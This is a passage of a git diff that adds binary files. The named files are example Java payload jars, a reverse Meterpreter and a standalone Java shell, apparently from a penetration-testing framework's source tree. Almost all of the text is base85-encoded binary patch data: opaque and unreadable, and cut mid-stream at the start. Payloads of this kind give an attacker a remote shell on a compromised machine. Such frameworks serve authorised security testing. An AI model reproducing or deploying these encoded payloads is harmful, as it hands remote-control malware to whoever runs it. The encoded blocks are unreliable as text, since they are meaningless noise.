zz4U43xJjQk5QE%7s}V*~XE2C^^s1#wa?P+;CH?&#NnL^y9W|KXGl)Ao$W?ls>=3AU zUCX5qnuATUn*qG@Gpe<*H5m)qmuH5PrOm~@T?sSd9xjhsN{Xd@v$StQRfGXn3ou%< zz0FsGg6HpU*nJ{J`bnztU6HE1eg-SV^!uzkXEZ=H=AOHo!m@w!&BzCLeWg$8uhiqZ!Vo*QkA8d$NCOBgY19UiaIHv(xgc8(IsgW&97+Hu4WIyI`3@i(asms?PV8r}K(v5# z+=A*r?$smt72P_}=2{2Soc(3t^P{SJvN^fO&xT9-5)#_xBug9gw~ctLm&Vh{Qe1_*m>fUDW?gfW^u zSPnEmw+ekvKf40u+a@dU#E>QC={6Buo{H9 zY8%~9^aZ#GLoWj7uCW`6Z8!H88S=tiMW`Xh{53S8HW#VEuQ0Cc0!C)yE4)d0&rY({~O=Rliw zM>iCG?i69@KV7VbqRphDn}GZE-!p^u#+%$j9}TJ9i^qy~7i0_Qy# P7{q`u7sy)c3gQ6( + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/javapayload/example-reverse-meterpreter.jar b/external/source/javapayload/example-reverse-meterpreter.jar new file mode 100644 index 0000000000000000000000000000000000000000..05acedda29da5b3eee722cd50abe13df48fedf3a GIT binary patch literal 8546 zcmaJ`by!qe_a=sJ1f{!?ZUm&eYhcKMAti@S9a0nqWGInN5s(lNWKbFb=@f}UQV}UZ znjd^#ul~IE`_}X9ea;{2-D~f4&hxHkze`^W6M&C)WqWnxvj2JcYr;bVpy{X>EAVOP zstTOQ!%)83{3p=$vs1p@~4K|}v?`Y8|zt@_r9w;c@EiH=W+81L3c#3^JZ$par zm}WWS&yAw}XQO`|=RXg?9iS$L+De`t9uD@tE}kCz_HJMwp9Iqr z;59Xhb8L)jX(r4(AWF)I;sC+=ee=pn05@0Sbpx9EN-bf$JBT^ofC9UPt?wsi;Zrup zn65;_S%v45KF4bN-v&MI0k+qrzI=VxvJm=x-qX?J@cWxLRfRO!jYVKmCAvhYObM8( zM^rd*e9@Y&ss}F~D#M^Gb00xhDmuPYS1XsVs)xOka-3rzprk}v+YAGm<_+p)~+_k8}ktrg@XS2IBgNw)*f(%sS+ntIS z@vKSGZXdcKA7ox_$#yo?V&J1C_L$6+$7K9UN*Cr!S!4rRBG)!0teSF}lSGT!^!=Va z%$EaO7@9#LESyw|a+3CDpVoywWte87@|C;2=1f;y>Z9CbLLnDQLKdAGH!Pcji>BBiZ3X~8z`35+4(0!hly>}?`Mg+_pby#&Of;4@_3ginh^Nh z`BqyicbFC%o04DSCZLCxuzyVPz`O}rB-#E}xB@R-@v(p1I|VXYT$;U&tsABwc!+42 zoLYrthRF-M)Y0+dQ9(DNh1yp9xCk6_>MA-o&<}}i=(LA1p2rvR1(}+KfPt4}Aj1dp zb1W;7bUpr()>Av!@by3{&(Dn{-+hq9OYX>yymT#98pmkSS<7y52UAGTZW#q8Rpxb$ z1r>%xuJ#Ogz)1O$EOMx|z;zo2CpmLwESqAcXI#SV;gpu^a*~$oxj|?1`4Hb`;}Cn{ z^K_h5-)S~{Zn~oy>@V?(qeyaDvRnCm16TJJwdr6kh$J8W9NsbwUk>TMiH zMJG`KQI&iSXWVA((UT7E7NC3cj4-@BZ$oU>+a=z?8Tg&;i<_@CnHYucpuyJqy|*)i zQB{~-JBW?_!u3P?yYG^NpQXA_z6#p#noo8#O_2(i59-XgTifEGv(jw#by{+bN>G^l zL+=AN=01$)S+|aq9409V2I;KWKr+q{6%`ZKC3x6;x@IA*5R>JU`WR&2ur%9aX}8Z* z>1D4v$Bow5?m@%dlMlM1(E$SwJ5BE_L)%$qkG&Q?TC8p;085v|fo|wBT<#0))t+&w z0d_kygcEc2JXkc>k9%D}8s6ahU-j=9mcBMvTkV-me!)HaQdug+dq2G119)w(gW3ANh})WBeY$S6d%rOxkqB^fO2l651DArU&^1^8=$c zOV$K~HS_Af3BWNvsfhNl-UZK5i0ksV-;S6!%w#_139W3mzIZ`VN1~>A-ktm==9HF0 z3*XR_Kl+2}VoG@aThVFAU9t&p9x=h_OxpQcw6eU@7c(UKVshROLi1puI1mKm^mlqU2n*7EzR5Lpo6>AC&x5>PDWaqi+_b4|~5>^>@W_&f0A8}6dliq(2Z`qsnpo>ew%|u5-yQ*+k1>iS&|DCb_AYLP1r~}wt z9qa*dbAbNEz4~pM9rC1Mh@ymqdYW>a#Cby%D4C40j2R&ML7v%mW08@Wi+_hdscW0x2hvpW1RUN;Pt*YYD?vOLG{F4lLz zg;0432z23KL~XOD#a|yJ7nY$teUosn#j1VeBE+)-Y>-1BmQ&08<ArzzS?W+@`@0PUvR>1{YF;mIs~s9znBJky zCkn;I57x`O?|Uf>`%PcY=~;`dKa@;^L%e8El*fBXOVW_LjJo3xkJdK?E0 zjrCvsb$%7vA73WSB*ci;gyMql{c_A^LyG)O`kyP z2hUgUQ$BvETD-CThSCYc$n8we=~N%S=0Uz&;K=dadvFUm)O0fRX2_Z;%KNk+pY|n{ zhsf;6HV20o%bVhS5>K@qcnmk2*lbrbwCP4y2+e#C4&fM~2)QV4*P3WnPbdYW>me=y zA>+#>zff`&&B8DP>$Czhj~=wIT8E{Cyt~PcW)sdfW7TjR8o9_aFeXO_N5>leu?XCR zi|{Kbu|mOua1ivm9<}-~eCB&&eQBNuyLpU#(}(W(C=SZHQWDF%u_ykjZ7ZrrD+M;3 zbWL}f8}8~Ua0wxw%V(3BKWDPs<{JVErgLpHM2|qkgZiFMrO#IEMXNV7XQ#NjwhG7MhXgJ;(i;n`2I@GY!+$-i%= z$na_Mtf(x)@ZknKG?mI%t*v`8`!4V3&#-;fSN)>%#e0EgnI3$y`?dwiIThD6^Ef}R zBRxMrH2V3HbPUe{r<>4-F+IH}sstX@=?fIvj~+GXOoFRT1HEcWLW1t3kLE225kIYR z{pP|<=g~BJ;z|8_Y)3ZS_Rye5j|zPFIM~>3ZxW`oNINd`VfN|6!jI0ZxA}lrR${z< zeh{feKJ$=-(+PULFBTTW2KDY=1$Gsg^+&R)JT_Udc3uSEX7%ez?+JK4&z|%InNF;=1$ha@gy2$&@xPJ0B1Tsk9>Qx+4C$Pse5E+I*X@Q2J7i z8_VJ=h^V?^NR01M)>C|JjR`Ha;!#HmpOjs4QCxQZ5ovXNeq;0r)lK*4RC54>uA4Yb zAf912)op}|!rNq^r6F+O#D|h`oqM~*uKPw*Q}(o*cl|tX;u@Xi0|U;Klo``WbqnCL zVm)?|8s?VI7dGtpgH54#VPDgpKRwvW1meAlP$)x;vo;-qAJ`nwP-yji0_0s zEiDO*f2pM6WtJ|3rwz+d!(%V*>#C@Ru(CV1JeqE@UpM*!Sku{;;?KypPGjKCFN}Jq zwjST5xo$T!;vPdxc0o&D1B83`p3?7d-X~>ue-^v`=-a$-3uoT zE|e9A60W#>1~4N!$62E;2$Ks~=(hXgI_~~ttsmUNf%Zix>ylH(E(iU;a*NRwBmH2N zTl=0F5E<#uNhtc>X}z2zw1=RemFl{DT)ppxcpaTk5C|zw8IO9!yIwu* z5uBOS9DHLUHfm}B>G2t&)(`=Mld9sjC4lWAwh&u8G<4PLs(DN1_d-pXNR(d)3I2W| zySlsGh~P5UyF8B3tfyn(byEi@Sf?*2Tr1pACoB%!_QNv}6c!Xk z?c!~d;Ma(uWAIPS7LBK*jHjTIJHHuQEQ}|Q7eug-_O2`~GSb=IafUp1LW_#A{QEBW zPj)Bxf1&@Nb*QCXNRsRQg5E4iZru}jfUuCIfqz6CK?lGAcUi(9sE7mL=BW-87>>*B`xuo3bEY|+VS z*7{ts^K-9XpS+&&bp+NzEcmy=h8ET?GA?qD)^f~Sj!&HQA~0!ofcWvP0c?RP5kN{w zv;`B~(@c!S4r;vDrS||%GNdtE{oAh;_ej_d^D!_61!oc|%t&spZt6h-BiAGx4!LuY zUH3hCw?zWgVsiVp3Fa>hVK!~Kf`hrc2SboUAL?^OnAmo@%xNm%&FYba@Tu5PRqwV% z&P7b@o0Y{a$YBWHxdKf3P_5)l4|(jwu%3DsoO$uA^-bFwt!+l(Q_dGBHo~V8k>_f# zg|@9A$qkGRyaDU_zLx4{1uB}Jd$v{bYVs(h^49sf4aVjEgDe0(GZ6FiE7Bema|+WqMS_z z*uKYR$+tv<<==6KJg2IaA1M!`tx4PAUk3A;;|P3YW?GUql$h)_698jUXLb**1aFP(n9W`zfJCzwjD-p{j8PCTJ@lt)W&rYTo|7&k_dbo$UX!Vsy68^4;t%! z;F?~o1iSV4gP=zNrS%f?wqshIQ8yn1G|OY39&vd~>1hd_RfEH(gxzSX+C$58V>be) z2RqP6ruIk|!LjkTC=Jhv7(#E)zfH1w*Y80smV@IE->2R^%1)=46x`7q3~Ihb8fq0% ze+ClFXa5f9aFouO9gAT4UVq>@Px*CS$txfxpx)nF&wl~zITO->o5NT6!6Lx@s{?+2 zAs!#1jDAFi51~or{h~pSR*MQmnExs&kamG(CTH7hlx}h$kOG{V(3kGIr0U-6=$hSY zJjtf&>ka^Sec79@Fo!m3Yn9g5fHvYl;RTbcxzn>$dffxOq;xR94`f;Hs@kP4$`3io z(y;vpZ#=HzrY|&*b?8ojs45nGq!uLP)c3i{uk&H5>%3B5Y79TMTov z$&RrGOp16O#wI1MPR8>>& ziMK2(%H@zIT5Y8A$*u<<%E1xx$?~9TkeKL`vaG_mHvoY_#5UzEVa`H;#QV--jHQL! zEox*-^XXk@MbrrvgKfCwVv7I0<<^H-@Q)c$5(G#rPs&4dqz(#a$DbwGqWkrdo3NT8 z#@4+XfNSvjXVgSW(0+toi5w0%WX#kb0Zt1MANdp(oZb#t(}*yt$dHiA4{6BTyo0$pu7&I_PsLrF<0j7&I}F&97Xz}V^;Qa`-cI`lCT<8~~G zW}rGs=`aXpQ%x~EG1Xj|yDc%y=qd3%=7c@e48GlTHJ42tm54X?FVVmLQeDJ zwe_PZU@K9)tWIv>o13GKZE0N@*S%8ghel0|W}P!j%k4vvMP4!=bT|(yx^?Arv|n)N zS^?xDhX!}Y=G$6|81PE5s{ z_L03KBnV`%W||@*?nYqfw&S7ewO^x)JmxCUtonzePM)luRVefG^Qq_Aj^dyCU zkvGi^6q+)2o(gF+Gj1Pe@rfO)`P55wuWZ7y| zIDE1Etp{kl>GO==GN_*n>b{n5dZ&J^==J?mejR4}R4RytxJx%djnIpop$7>v8CDN! z@x+EPI>4esGpazFMvJZ*48;(aJDiANKi8lv7~jpT zYMrSkU#JqEyr7M$i7&gBpkj$QB|xqV);fN2(KvQryq_!3=z#0gnmG$f*&~iNRVcEn z8n!zb`7#u@!d@^`Yk73gfRyDe7544I9VyzMk+X$8_aWYT4fP)O{FB zk8wOfE(w9DEkT(d|A?Kpr}=i1IP0V8TYy{jwe*$7sKtpAHx{9^fZ*%=C1b!C5BA`w zL1E2B+l-UREQTUCgurNu&9xJPqIAIOT+O`RXB=t7xCmR}-m`9Pj2*MoE;@1bAz-S# zx7;Ukbr7Rn7{DE$FFK~|9d(eIOjB;f121!1Io4Zik$tu0{7L*~^UqQ?cgE?yl~xJ^ z4HYyC+jaxOM012Rf(DJnMP$~Lb`!l(kITNLu*cSGOBB~cU^eeRsRgl!lnPTk-Q?=5 zo9J}oq#E;btPoIF>&w%w4vY!>P^}s}ts3T*r(KrAjb!MfW=$!v7zmnhj9G~Zc;rs3 z5hs_hZ@_PpMJvf7^1e;`^(z4)Uw-{j?Z_aH6-H_*pE=!+bJ@d)kjBrAg`ti!Y#$_5 zrTIqL@jnR{(4^Cp6|QAIAKYGjya3YF-3)jYj~V<*r#~h1B7L5_gP{T@C_{|KVAf_u zTWRW*>o_o;1lmI!9dQ%z@8R$E64qX zm3W=DKDsOsl*P)e0Q^CMCX)bSQxfftO!aeS?5rU@OWWH*c=gP2Lngfei)j4bvuv&=&m)l@va)b@NHwHH%cCgr*eFfF=) ziF4N~D1hI%{B(Z5C|e1|5bJO>*Uj!FWpK+ZVaaJhZoPOX)mzeJt9dlQ#Cq;)unq61 zG~3Y}Nn`-VbK>4>!`E3Nt)FX_<~h>LXxt6|&gL7H;%z2G^n?Z3%wgOH^&sY!@q4C8 z+z-8#bvAfiQ)yTd&m%_mp!K=6bm_J z*afKg3E78y{;Y387oNzoW-Cd~f)hVv8FKjL$x?MK)6sl^j}H3Gd~+glcvGuUuT{NM z2welt+yT!oqEyllJ^~a`g(Hac%(p3;S^-7WIW>ze1UVcM!X_kS?~*$jahqY;T^gt} z%q0{-lQH>S(NRG>d#T1FDjX?(#T#@P#q!a2-}RP8&=N&FYhs;;*O;ob ziP@m;XXIr8Jp0sC%6L;&77HpXb!sp(7cQFXt2>A^(yQ|7lM>L&=kFm7>|ss{W2C{k z5kiRIVH#ZvVDOd|+AIp<8#(imIM5fRmjUp^1}n+Rsox^upCPnco{>IhfLSe%K3_Q~?u_%yb?C8N-_d7#I(w(P zODBQhKE%C;cvEDg@6d{eW(om^Y}__A&{Gm@znqoP z%}V4+Z=5Y_Y7-kYQ5bZC18%J}ie(X3Jq?brpfYKVAA#zx&0%+n&tcP_9)ke(ZomReh~>b2J9 zYE^gP)tMWn$wjgE^HWcg>c8ExN>rfqd3z71yUl#cN)0KS5gB_QTWY#xF8*TJG(FX< zcPQI$vGAzxKsc**iE%Qb18Q@iATuLI1jqgKK??8r8ef14W`CkkDIQgI5 z)SpWg!7TsxLVrm7fA&`YjPqyn;8&ap?EkspKjQpLE8$nDetqQ(OP< zpX5qi|AjRF1Nl>H|B3&1wf*M`MX>2-`fN~HuRg|_WM%* zCTsm#3Q6>*$n^{R&x~H_Qa|h}qY{@Q)GvYTQlo%>DyqpxQo#PG20Si#UbGp9aTi{0%kHGBwcCwX}km=$Z7@ zGIq+a-C58`i)gB40WxE?UrqN4nz79ceSdR3N}^eLd2?Xx;OMn}O28xE0xPg*LB~h) z%Eu>2O&K&p%Py+Hw6c`VX8L{A?uncJPOujj$mNWHPVZ>RC?xQ+D-0f)+g^Coxxpa z0^fa<>1-yhF*n=Ze%L-8>S-`hybH> zv9_GbRP)vhlpLDWE^c6Z`5l0lI$Qi!KdD7~hZRgNqM;d-nNH=fW4*Sz2}7b{KP!2V zB?|Fx?*&MbY#i8n6 zl0(5se8TIMg)Joc7VuaLqe|8pHluNt_j%oy5YOFV~{Jrgxv-UOSa$^BL5xs6&)P{Yn}2oS+QO zug4HriTvJYCsho?Kwc~$fUGgVEI9!$q@$iZB+Ja&mC6>{WPxE==NdA16|0oTR)W=S zJ9og2QcFB^;a$J67gTpZ@YgZCwVB@_%LplZdg(>MOG~O2N|U{I(g<2^MqUrUMHTU- zx9YF;yLZtmZR|JANbG)@q-b{M=N;nCdVAe$F1`zh;-oD3RNHqbks({z8td-L$g%E3 z->e!PjN0Q*GB=-cIxh*5JTvPpyQPrunal23*x3(VJ#FY2{S?fUoF8v>C%UpQVFUGH zu#1XyYKLtBk&vXuX>rU9LSLJEm*(`o|0cI$0li03AGCW^gikvys;e~$-m1oicDmJY z1eYli`2pziR4tep!(RH)uop1L`Nx`0U_^XGL%1_6d>#=neXEP1K&tAKLxley9*q6P zKq*`W|A>hc&X6nUWh0E&hzowUs3i`?J1;a{K(ZU*8JGLqcp!Ez z^Gx{Q#mChW{Ke)P9^J`EJ?*E9+zMyq-OCy{w3S_#-XyyMW2NLfEC%7LI2WSs7HD?n z(WIK*uJ`2lne%U!r>{S*TrmdM+r4lfAIEXKWoPpzin-_a?xA=PI@~-=79y)kZ_lgp ziu#o3*WaLcx-C)eeiRpi)}lm<^-ba)^f^fjD?ILQ6z{ydCFD(TT23B`^Dx151u`Ob z^CUImn|t4hy32R#D8E9L_S8TcHgxt%L#LrkNlVVuJwXD@B<47g$)gwCFu>uco*^tZ zNJE(DL*}`wKT?&ueN&3);fY*#+^ZgBVP3zXp*0=^z|k;+r-GF1g_!WbA3|1iMhx8w zmaaVO@87(LJEQ}-#yBpdhu>N5ctDr3m>s9Ygr^JOBva!}i1gpWg`ym~+n4<0^et$% z?py@KFkCZ^G4};y==aUNER&9&1`m#vVAbg6?nW@-6U=3y1jj_@FB9lPXN&+Lm65^~ z!-p9i6(ix;V+@JWWS`*G=7T2@++d=Lvew9icZFc-<1U)5o*^jtPRGzF?TErCJ7O_e*P>+C(LyN}A>0CcRic6=N@I7w z$7ndIQyz8nkb*ES-9dl`@8H~zG46#0;3+Xh>*Y;+OKp&1+xe>v8c~Irlh9jHsye># zf#r4~QYAUAL(HBa;>@0B5c5Dy@64{9ajHEBK%HqUy`J$PAGeW>Z0xv5XML4lsRtV! z6&2@}WXayy_tC5B{*7;TL`!lgVdue`Pge=KWGB4KG^XFnh4_Z+YTf!X=Rm&6nXpeS z;(x@yqt+(427)HU>7X^q#Yl0`gmJ$82@k8wMO3eY+s(&&OBfsc2)ig1FDN*PI(2N}# z+#Z`Fw3UE><#d_}%f*Usi;oxTgE~xm73pxh=N_|%a(U^7usbQVx`C<>mE5108{4w*3-j$cbw4@As*K|<^#8=;RG17#lj;yL| zuv32L7{h~{955xN!`7~=dNI9YYw@={w?PI9D5lW1nu$VvY(`8a_0ZhL1~8y;(kC4A zi?OfviC6ok^~xj+292BPOrd0X%ocHo?wIDb1hM~$u1Jr!r5^0zP;NS8K{C@1j!yru zpo;Jb|G+iEv|v;3c=2Pl`?DK3k^A;Ma-$kNOA=Q5ExX3?d6=`@;tmUxmCFEYlly`G zmo4Bh5ry!%QcPoG-HjReWbk+We!s8F7=wMTd4j^d*r# zxa*Ct&UbEan*jQ)ELZO=3g^hkft~1r(yEQ!8M2OD`VRg4tu7++4J_xo${zI&a_2WP zdE;^4@h(Ql-8sSb5&O(Q-PMzxBL4d~p2-yCcEyv^*GI!=8rg=4+)TQK6v!|zte*%Ghiiaqbwxwz!kq_r zg7}|Uy#qlH2Tj|rH@}CTFKNF=ftU!oXK*1MuKIK{)yls7Hk6pGp6!%a2UHx!)D8Fn z?7s9b8DhT#n<}rudusi8p>?Tw{Tr zFQlRReNT*QQ1PfwHF^mj^rHQq7*`ZX;6Z)d!s%rW1CbM+@hkBW5B*sT?rSFRnnPUj zc$J0ZKN5`FTcnvoA!eh-v5_}d1h~0EW=$7o^M`S_n!Yp@qdlj=pOp1frA9><*X5q_ zWbsrKf6n=RkhJ=E9&Tv58PSqN8`WacpN>Asnv>`Py}-z*vrvKT2u{3JHi3nn1LJA% z9o+uD1QTS3Ug{Eh_TZ!G>V;Nhgx}=Nr^xc*L`|FzMRfDIPg%gVzzGxVVRjgSRwX-5 z7mZ(w35-o$Z7tVIG{(*-QWuPwtyq>l5env0Um}V^e<(1hI?bfT8V2B$vSXj~p`s@g zmOG}#h?TvBM`@N}1=zl*iO00pSdBKK`_cU&PfQ7ko>}v|41b8;n_o#XA@uR($rBw` z)FK!MnVPL5SZr90yKA zmgMUYK?xrFv)v+rD&}f-$xB}Inro%sGJ=$?w^~Odtet27h;oq}RR!r3cx`GUp26TScu1!8chX)We<|vNXma3mW6q$A+zI z(yDXE9kwBwswevdoYdQ+V_tKxUQvx>JUplyI|n5_G)FJH{8 z`C?Kpe|A-77otxZa=bbMGH@H8Hee^4}T|k7$>OOwCs8w-rWZ zfbJ?y`&{%Y5bcY6*`?R--hSU(j^!_Tr>pSelJ34#f~&Rj6JS$@&L(XmG|V#4!S-mq zxm@6ih6Y`*h6=@edNxL(Fw}GqZwado>{F436+wDfP(6Za(E>d57jK=#UA{E>IRX@< zA-h=;DK&BwsI+IMz^@LtoDij>p`lBd(@DHWW^1Y`ue}3vS&O82F?=%F85;`}(?Hu^ z9BFQCZ6|06h73`u1;mCN0cMPD_JwK&GfaC=UkE#Y{HR0`* zu7EI(Q#qxR-9)7GYMCWj$433N>@#E8znz@9g%8+Jb~M`3fYv$N>sQ}Ssma-}c~p{c zuPB3(*6>};DOHOzkzHdz^Vy+iq73&s0=dvbYo zO9GSFu3(ovE%j+d<`jnYPb$FQKTAb~VEa|2$KQ;}E7nY4X&o02DI9174QP-c+_O-# zWj@WHAbpTx+<~Yg2Q_(M!(Hk!BgmkarU4C>>=bGi3 z{AE7;FZI9M4}Vdqs7f%B|D^uIjQG`@;ZLvQ-@d@F3gf5guSNc+OYn>P-`D=XxIcx< pQvZ{CY6ARU+5ffyel>;vi}+7dz|4s5%ugiU>7)D;$M*B>e*owa9&-Qy literal 0 HcmV?d00001 diff --git a/external/source/javapayload/example-standalone-jsh.jar b/external/source/javapayload/example-standalone-jsh.jar new file mode 100644 index 0000000000000000000000000000000000000000..5fe093067d12171d01023fd6ffeb11aaed9bb1d6 GIT binary patch literal 10933 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 